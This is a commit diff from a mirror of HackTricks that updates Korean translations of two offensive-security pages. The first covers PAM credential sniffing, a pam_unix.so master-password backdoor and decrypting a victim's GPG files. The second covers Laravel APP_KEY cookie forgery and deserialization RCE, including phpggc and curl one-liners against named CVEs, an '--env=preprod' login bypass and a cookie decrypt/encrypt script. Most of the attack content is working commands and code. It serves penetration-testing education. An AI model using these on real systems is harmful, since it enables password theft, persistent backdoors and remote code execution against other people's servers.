mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's
This commit is contained in:
parent
8901ec698e
commit
625ef25b4e
@ -2,24 +2,25 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## PAM을 이용한 로그인 비밀번호 스니핑
|
||||
## Sniffing Logon Passwords with PAM
|
||||
|
||||
각 사용자가 로그인할 때 사용하는 비밀번호를 기록하도록 PAM 모듈을 구성해보자. PAM이 무엇인지 모르면 다음을 확인하라:
|
||||
|
||||
각 사용자가 로그인할 때 사용하는 비밀번호를 기록하기 위해 PAM 모듈을 구성해 보겠습니다. PAM이 무엇인지 모른다면 확인해 보세요:
|
||||
|
||||
{{#ref}}
|
||||
pam-pluggable-authentication-modules.md
|
||||
{{#endref}}
|
||||
|
||||
**자세한 내용은 [원본 게시물](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)을 확인하세요**. 이것은 요약입니다:
|
||||
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. This is just a summary:
|
||||
|
||||
**기술 개요:**
|
||||
플러그형 인증 모듈(PAM)은 Unix 기반 시스템에서 인증 관리를 유연하게 제공합니다. 로그인 프로세스를 사용자 정의하여 보안을 강화할 수 있지만, 잘못 사용될 경우 위험을 초래할 수 있습니다. 이 요약은 PAM을 사용하여 로그인 자격 증명을 캡처하는 기술과 완화 전략을 설명합니다.
|
||||
**Technique Overview:**
|
||||
Pluggable Authentication Modules (PAM)은 Unix 기반 시스템에서 인증 관리를 유연하게 해준다. 로그인 프로세스를 맞춤화해 보안을 강화할 수 있으나, 오용될 경우 위험을 초래할 수 있다. 이 요약은 PAM을 사용해 로그인 자격증명을 수집하는 기법과 이에 대한 완화 전략을 개략적으로 설명한다.
|
||||
|
||||
**자격 증명 캡처:**
|
||||
**Capturing Credentials:**
|
||||
|
||||
- `toomanysecrets.sh`라는 이름의 bash 스크립트가 로그인 시도를 기록하도록 작성되어, 날짜, 사용자 이름(`$PAM_USER`), 비밀번호(표준 입력을 통해), 원격 호스트 IP(`$PAM_RHOST`)를 `/var/log/toomanysecrets.log`에 캡처합니다.
|
||||
- 이 스크립트는 실행 가능하게 만들어지고, `pam_exec.so` 모듈을 사용하여 PAM 구성(`common-auth`)에 통합되며, 조용히 실행하고 인증 토큰을 스크립트에 노출하는 옵션이 포함됩니다.
|
||||
- 이 접근 방식은 손상된 Linux 호스트가 자격 증명을 은밀하게 기록하는 데 어떻게 악용될 수 있는지를 보여줍니다.
|
||||
- `toomanysecrets.sh`라는 bash 스크립트를 작성하여 로그인 시도(날짜, 사용자 이름(`$PAM_USER`), 패스워드(stdin을 통해 수집), 원격 호스트 IP(`$PAM_RHOST`))를 `/var/log/toomanysecrets.log`에 기록한다.
|
||||
- 해당 스크립트에 실행 권한을 부여한 뒤 `pam_exec.so` 모듈을 사용해 조용히 실행(run quietly)하고 인증 토큰을 스크립트에 노출(expose the authentication token)하도록 옵션을 설정해 PAM 구성(`common-auth`)에 통합한다.
|
||||
- 이 접근법은 손상된 Linux 호스트를 이용해 자격증명을 은밀하게 기록할 수 있음을 보여준다.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
@ -29,25 +30,52 @@ sudo nano /etc/pam.d/common-auth
|
||||
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
|
||||
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
```
|
||||
### PAM 백도어 만들기
|
||||
### Backdooring PAM
|
||||
|
||||
**자세한 내용은 [원본 게시물](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)을 확인하세요**. 이것은 요약입니다:
|
||||
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. 다음은 요약입니다:
|
||||
|
||||
Pluggable Authentication Module (PAM)은 Linux에서 사용자 인증을 위해 사용되는 시스템입니다. 이는 **사용자 이름**, **비밀번호**, **서비스**라는 세 가지 주요 개념에서 작동합니다. 각 서비스의 구성 파일은 `/etc/pam.d/` 디렉토리에 위치하며, 공유 라이브러리가 인증을 처리합니다.
|
||||
Pluggable Authentication Module (PAM)는 Linux에서 사용자 인증에 사용되는 시스템입니다. 이 시스템은 세 가지 주요 개념인 **username**, **password**, 및 **service**로 작동합니다. 각 서비스의 설정 파일은 `/etc/pam.d/` 디렉터리에 위치하며, 여기서 공유 라이브러리가 인증을 처리합니다.
|
||||
|
||||
**목표**: 특정 비밀번호로 인증을 허용하도록 PAM을 수정하여 실제 사용자 비밀번호를 우회합니다. 이는 비밀번호 검증을 위해 거의 모든 서비스에서 포함되는 `common-auth` 파일에서 사용되는 `pam_unix.so` 공유 라이브러리에 특히 집중됩니다.
|
||||
**Objective**: PAM을 수정하여 특정 비밀번호로 인증을 허용하고 실제 사용자 비밀번호를 우회하도록 합니다. 특히 거의 모든 서비스에서 비밀번호 검증을 위해 포함되는 `common-auth` 파일에서 사용되는 `pam_unix.so` 공유 라이브러리에 중점을 둡니다.
|
||||
|
||||
### `pam_unix.so` 수정 단계:
|
||||
### Steps for Modifying `pam_unix.so`:
|
||||
|
||||
1. **common-auth 파일에서 인증 지시문 찾기**:
|
||||
- 사용자의 비밀번호를 확인하는 책임이 있는 줄은 `pam_unix.so`를 호출합니다.
|
||||
2. **소스 코드 수정**:
|
||||
- 미리 정의된 비밀번호가 사용될 경우 접근을 허용하는 조건문을 `pam_unix_auth.c` 소스 파일에 추가하고, 그렇지 않으면 일반 인증 프로세스를 진행합니다.
|
||||
3. **수정된 `pam_unix.so` 라이브러리를 적절한 디렉토리에 재컴파일하고 교체합니다.**
|
||||
4. **테스트**:
|
||||
- 미리 정의된 비밀번호로 다양한 서비스(로그인, ssh, sudo, su, 화면 보호기)에 접근이 허용되며, 일반 인증 프로세스는 영향을 받지 않습니다.
|
||||
1. **Locate the Authentication Directive** in the `common-auth` file:
|
||||
- 비밀번호를 확인하는 책임이 있는 라인이 `pam_unix.so`를 호출합니다.
|
||||
2. **Modify Source Code**:
|
||||
- `pam_unix_auth.c` 소스 파일에 미리 정의된 비밀번호가 사용되면 접근을 허용하고, 그렇지 않으면 기존 인증 과정을 계속 진행하도록 하는 조건문을 추가합니다.
|
||||
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
|
||||
4. **Testing**:
|
||||
- 사전 정의된 비밀번호로 로그인, ssh, sudo, su, screensaver 등 다양한 서비스에서 접근이 허용되며, 정상적인 인증 프로세스에는 영향을 주지 않습니다.
|
||||
|
||||
> [!TIP]
|
||||
> 이 프로세스를 [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)로 자동화할 수 있습니다.
|
||||
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
|
||||
## Decrypting GPG loot via homedir relocation
|
||||
|
||||
암호화된 `.gpg` 파일과 사용자의 `~/.gnupg` 폴더(pubring, private-keys, trustdb)를 찾았지만 GnuPG homedir 권한/잠금 때문에 복호화할 수 없는 경우, 키링을 쓰기 가능한 위치로 복사한 다음 이를 GPG home으로 사용하면 됩니다.
|
||||
|
||||
이 작업을 하지 않을 때 보게 되는 일반적인 오류: "unsafe ownership on homedir", "failed to create temporary file", 또는 "decryption failed: No secret key" (GPG가 원본 homedir을 읽거나 쓸 수 없기 때문).
|
||||
|
||||
Workflow:
|
||||
```bash
|
||||
# 1) Stage a writable homedir and copy the victim's keyring
|
||||
mkdir -p /dev/shm/fakehome/.gnupg
|
||||
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
|
||||
# 2) Ensure ownership & perms are sane for gnupg
|
||||
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
|
||||
chmod 700 /dev/shm/fakehome/.gnupg
|
||||
# 3) Decrypt using the relocated homedir (either flag works)
|
||||
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
|
||||
# or
|
||||
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
|
||||
```
|
||||
비밀 키 자료가 `private-keys-v1.d`에 존재하면, GPG는 passphrase를 묻지 않고 잠금 해제하고 복호화합니다(또는 키가 보호되어 있으면 묻습니다).
|
||||
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -4,14 +4,14 @@
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
여기에서 정보를 읽으세요: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
자세한 내용은 다음에서 확인하세요: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
|
||||
## APP_KEY & 암호화 내부 (Laravel \u003e=5.6)
|
||||
|
||||
Laravel은 내부적으로 HMAC 무결성과 함께 AES-256-CBC(또는 GCM)를 사용합니다(`Illuminate\\Encryption\\Encrypter`).
|
||||
최종적으로 **클라이언트에 전송되는** 원시 암호문은 **JSON 객체의 Base64**입니다:
|
||||
Laravel는 AES-256-CBC (또는 GCM)과 HMAC 무결성을 내부적으로 사용합니다 (`Illuminate\\Encryption\\Encrypter`).
|
||||
최종적으로 **클라이언트로 전송되는** 원시 암호문은 **JSON 객체의 Base64** 같은 형태입니다:
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
@ -20,21 +20,23 @@ Laravel은 내부적으로 HMAC 무결성과 함께 AES-256-CBC(또는 GCM)를
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)`는 기본적으로 평문을 `serialize()`하며, 반면에 `decrypt($payload, $unserialize=true)` **는 자동으로 복호화된 값을 `unserialize()`합니다.** 따라서 **32바이트 비밀 `APP_KEY`를 아는 공격자는 암호화된 PHP 직렬화 객체를 만들고 마법 메서드(`__wakeup`, `__destruct`, …)를 통해 RCE를 얻을 수 있습니다.**
|
||||
`encrypt($value, $serialize=true)`는 기본적으로 평문에 대해 `serialize()`를 실행하는 반면,
|
||||
`decrypt($payload, $unserialize=true)`는 복호화된 값을 **자동으로 `unserialize()`** 합니다.
|
||||
따라서 **32-바이트 비밀 `APP_KEY`를 알고 있는 공격자는 암호화된 PHP serialized 객체를 만들어 magic methods (`__wakeup`, `__destruct`, …)을 통해 RCE를 획득할 수 있습니다.**
|
||||
|
||||
최소 PoC (프레임워크 ≥9.x):
|
||||
Minimal PoC (framework ≥9.x):
|
||||
```php
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
생성된 문자열을 취약한 `decrypt()` 싱크(경로 매개변수, 쿠키, 세션 등)에 주입합니다.
|
||||
생성된 문자열을 취약한 `decrypt()` sink(라우트 파라미터, 쿠키, 세션 등)에 주입하세요.
|
||||
|
||||
---
|
||||
|
||||
## laravel-crypto-killer 🧨
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) 전체 프로세스를 자동화하고 편리한 **bruteforce** 모드를 추가합니다:
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) 전체 과정을 자동화하고 편리한 **bruteforce** 모드를 추가합니다:
|
||||
```bash
|
||||
# Encrypt a phpggc chain with a known APP_KEY
|
||||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||||
@ -45,25 +47,25 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
스크립트는 CBC 및 GCM 페이로드를 투명하게 지원하며 HMAC/tag 필드를 재생성합니다.
|
||||
이 스크립트는 CBC와 GCM 페이로드를 모두 투명하게 지원하고 HMAC/tag 필드를 재생성합니다.
|
||||
|
||||
---
|
||||
|
||||
## 실제 취약한 패턴
|
||||
## 실제 취약 패턴
|
||||
|
||||
| 프로젝트 | 취약한 싱크 | 가젯 체인 |
|
||||
| 프로젝트 | 취약 지점 | Gadget chain |
|
||||
|---------|-----------------|--------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` 쿠키가 `Passport::withCookieSerialization()`이 활성화된 경우 | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` 쿠키 | Laravel/RCE15 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||
|
||||
악용 워크플로우는 항상 다음과 같습니다:
|
||||
1. 32바이트 `APP_KEY`를 얻거나 무작위 대입합니다.
|
||||
2. **PHPGGC**를 사용하여 가젯 체인을 구축합니다 (예: `Laravel/RCE13`, `Laravel/RCE9` 또는 `Laravel/RCE15`).
|
||||
3. 복구된 `APP_KEY`와 함께 **laravel_crypto_killer.py**로 직렬화된 가젯을 암호화합니다.
|
||||
4. 취약한 `decrypt()` 싱크(라우트 매개변수, 쿠키, 세션 등)에 암호문을 전달하여 **RCE**를 유발합니다.
|
||||
익스플로잇 워크플로우는 항상:
|
||||
1. 32바이트 `APP_KEY`를 획득하거나 무차별 대입으로 찾습니다.
|
||||
2. **PHPGGC**로 gadget chain을 생성합니다 (예: `Laravel/RCE13`, `Laravel/RCE9` 또는 `Laravel/RCE15`).
|
||||
3. 직렬화된 gadget을 **laravel_crypto_killer.py**와 복구한 `APP_KEY`로 암호화합니다.
|
||||
4. 암호문(ciphertext)을 취약한 `decrypt()` sink(라우트 매개변수, 쿠키, 세션 …)에 전달하여 **RCE**를 발생시킵니다.
|
||||
|
||||
아래는 위에서 언급한 각 실제 CVE에 대한 전체 공격 경로를 보여주는 간결한 원라이너입니다:
|
||||
아래는 위에서 언급한 실제 CVE 각각에 대한 전체 공격 경로를 간단한 one-liners로 보여줍니다:
|
||||
```bash
|
||||
# Invoice Ninja ≤5 – /route/{hash}
|
||||
php8.2 phpggc Laravel/RCE13 system id -b -f | \
|
||||
@ -80,41 +82,84 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
|
||||
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
|
||||
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
|
||||
```
|
||||
## cookie brute-force를 통한 대량 APP_KEY 발견
|
||||
|
||||
모든 새로운 Laravel 응답은 최소 하나의 암호화된 쿠키(`XSRF-TOKEN` 및 보통 `laravel_session`)를 설정하기 때문에, **공용 인터넷 스캐너(Shodan, Censys, …)는 수백만 개의 암호문을 leak**하여 오프라인으로 공격할 수 있습니다.
|
||||
|
||||
Synacktiv(2024-2025)가 발표한 연구의 주요 발견:
|
||||
* 데이터셋 July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
|
||||
* 데이터셋 May 2025 » 625 k tokens, **3.56 % keys cracked**
|
||||
* >1 000 서버가 여전히 레거시 CVE-2018-15133에 취약 — tokens에 직렬화된 데이터가 직접 포함되어 있기 때문.
|
||||
* 광범위한 키 재사용 — 상위 10개 APP_KEY는 상업용 Laravel 템플릿(UltimatePOS, Invoice Ninja, XPanel, …)에 하드코딩된 기본값임.
|
||||
|
||||
사설 Go 도구 **nounours**는 AES-CBC/GCM bruteforce 처리량을 약 15억 시도/s로 끌어올려 전체 데이터셋 크래킹 시간을 <2분으로 단축합니다.
|
||||
|
||||
|
||||
## CVE-2024-52301 – HTTP argv/env override → auth bypass
|
||||
|
||||
PHP의 `register_argc_argv=On`이 설정된 경우(많은 배포판에서 일반적), PHP는 쿼리 문자열에서 파생된 HTTP 요청용 `argv` 배열을 노출합니다. 최신 Laravel 버전은 이러한 "CLI-like" 인자를 파싱하고 런타임에서 `--env=<value>`를 존중했습니다. 이로 인해 단순히 URL에 해당 값을 추가하는 것만으로 현재 HTTP 요청의 프레임워크 환경을 전환할 수 있습니다:
|
||||
|
||||
- 빠른 확인:
|
||||
- `https://target/?--env=local` 또는 임의의 문자열에 접속하여 환경에 따라 달라지는 항목(디버그 배너, 푸터, 자세한 오류 등)을 확인합니다. 문자열이 반영되면 오버라이드가 작동하는 것입니다.
|
||||
|
||||
- 영향 예시 (특정 env를 신뢰하는 비즈니스 로직):
|
||||
- 앱에 `if (app()->environment('preprod')) { /* bypass auth */ }` 같은 분기가 있다면, 유효한 자격 증명 없이 다음과 같이 로그인 POST를 보내어 인증할 수 있습니다:
|
||||
- `POST /login?--env=preprod`
|
||||
|
||||
- 주의사항:
|
||||
- 요청 단위로 작동하며 영속성은 없음.
|
||||
- `register_argc_argv=On`과 HTTP용 argv를 읽는 취약한 Laravel 버전이 필요함.
|
||||
- “debug” 환경에서 더 자세한 오류를 노출시키거나 환경에 의해 제어되는 코드 경로를 트리거하는 유용한 원시 수단임.
|
||||
|
||||
- 완화책:
|
||||
- PHP-FPM/Apache에서 `register_argc_argv`를 비활성화.
|
||||
- HTTP 요청에서 argv를 무시하도록 Laravel을 업그레이드하고, 운영 환경 라우트에서 `app()->environment()`에 의존하는 신뢰 가정을 제거.
|
||||
|
||||
Minimal exploitation flow (Burp):
|
||||
```http
|
||||
POST /login?--env=preprod HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
...
|
||||
email=a@b.c&password=whatever&remember=0xdf
|
||||
```
|
||||
---
|
||||
|
||||
## Mass APP_KEY discovery via cookie brute-force
|
||||
## Laravel 팁
|
||||
|
||||
모든 새로운 Laravel 응답은 최소 1개의 암호화된 쿠키(`XSRF-TOKEN` 및 일반적으로 `laravel_session`)를 설정하므로, **공개 인터넷 스캐너(Shodan, Censys, …)는 수백만 개의 암호문을 유출**하여 오프라인에서 공격할 수 있습니다.
|
||||
### 디버깅 모드
|
||||
|
||||
Synacktiv(2024-2025)에서 발표한 연구의 주요 발견:
|
||||
* 데이터셋 2024년 7월 » 580k 토큰, **3.99 % 키 해독됨** (≈23k)
|
||||
* 데이터셋 2025년 5월 » 625k 토큰, **3.56 % 키 해독됨**
|
||||
* >1,000 서버는 여전히 레거시 CVE-2018-15133에 취약하며, 토큰은 직렬화된 데이터를 직접 포함합니다.
|
||||
* 엄청난 키 재사용 – 상위 10개 APP_KEY는 상업용 Laravel 템플릿(UltimatePOS, Invoice Ninja, XPanel, …)과 함께 제공되는 하드코딩된 기본값입니다.
|
||||
|
||||
개인 Go 도구 **nounours**는 AES-CBC/GCM 브루트포스 처리량을 ~15억 시도/초로 증가시켜 전체 데이터셋 해독을 2분 미만으로 줄입니다.
|
||||
|
||||
|
||||
## Laravel Tricks
|
||||
|
||||
### Debugging mode
|
||||
|
||||
Laravel이 **디버깅 모드**에 있으면 **코드**와 **민감한 데이터**에 접근할 수 있습니다.\
|
||||
예를 들어 `http://127.0.0.1:8000/profiles`:
|
||||
만약 Laravel이 **디버깅 모드**라면 **코드**와 **민감한 데이터**에 접근할 수 있습니다.\
|
||||
예: `http://127.0.0.1:8000/profiles`:
|
||||
|
||||
.png>)
|
||||
|
||||
이는 일반적으로 다른 Laravel RCE CVE를 악용하는 데 필요합니다.
|
||||
이는 보통 다른 Laravel RCE CVEs를 exploit하는 데 필요합니다.
|
||||
|
||||
### Fingerprinting & exposed dev endpoints
|
||||
|
||||
운영 환경에서 노출된 Laravel 스택과 위험한 dev tooling을 식별하기 위한 빠른 확인:
|
||||
|
||||
- `/_ignition/health-check` → Ignition 존재 (CVE-2021-3129에 사용된 디버그 도구). 인증 없이 접근 가능하면 앱이 디버그 상태이거나 잘못 구성되었을 수 있습니다.
|
||||
- `/_debugbar` → Laravel Debugbar 자산; 종종 디버그 모드를 나타냅니다.
|
||||
- `/telescope` → Laravel Telescope (dev 모니터). 공개되어 있으면 광범위한 정보 노출과 가능한 조치를 기대할 수 있습니다.
|
||||
- `/horizon` → Queue 대시보드; 버전 노출과 때때로 CSRF로 보호된 작업이 존재할 수 있습니다.
|
||||
- `X-Powered-By`, 쿠키 `XSRF-TOKEN` 및 `laravel_session`, 그리고 Blade 에러 페이지도 식별에 도움이 됩니다.
|
||||
```bash
|
||||
# Nuclei quick probe
|
||||
nuclei -nt -u https://target -tags laravel -rl 30
|
||||
# Manual spot checks
|
||||
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
|
||||
```
|
||||
### .env
|
||||
|
||||
Laravel은 쿠키 및 기타 자격 증명을 암호화하는 데 사용하는 APP을 `.env`라는 파일에 저장하며, 이는 다음 경로 탐색을 통해 접근할 수 있습니다: `/../.env`
|
||||
Laravel은 cookies 및 기타 자격 증명을 암호화하는 데 사용하는 APP을 `.env`라는 파일 안에 저장하며, 이 파일은 `/../.env` 경로 트래버설을 통해 접근할 수 있습니다.
|
||||
|
||||
Laravel은 또한 이 정보를 디버그 페이지에 표시합니다(오류가 발생했을 때 Laravel이 이를 찾고 활성화될 때 나타남).
|
||||
Laravel은 오류가 발생하고 debug page가 활성화되어 있을 때 해당 정보를 debug page에 표시하기도 합니다.
|
||||
|
||||
Laravel의 비밀 APP_KEY를 사용하여 쿠키를 복호화하고 재암호화할 수 있습니다:
|
||||
Laravel의 비밀 APP_KEY를 사용하면 cookies를 복호화하고 재암호화할 수 있습니다:
|
||||
|
||||
### Decrypt Cookie
|
||||
### 쿠키 복호화
|
||||
```python
|
||||
import os
|
||||
import json
|
||||
@ -169,22 +214,22 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
|
||||
|
||||
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
|
||||
key = base64.b64decode(app_key)
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
|
||||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||||
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
|
||||
```
|
||||
### Laravel Deserialization RCE
|
||||
|
||||
취약한 버전: 5.5.40 및 5.6.x ~ 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
|
||||
여기에서 역직렬화 취약성에 대한 정보를 찾을 수 있습니다: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
deserialization 취약점에 대한 정보는 다음에서 확인할 수 있습니다: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
|
||||
[https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) 를 사용하여 테스트하고 악용할 수 있습니다.\
|
||||
또는 메타스플로잇을 사용하여 악용할 수도 있습니다: `use unix/http/laravel_token_unserialize_exec`
|
||||
다음을 사용하여 테스트하고 exploit할 수 있습니다: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
또는 metasploit으로도 exploit할 수 있습니다: `use unix/http/laravel_token_unserialize_exec`
|
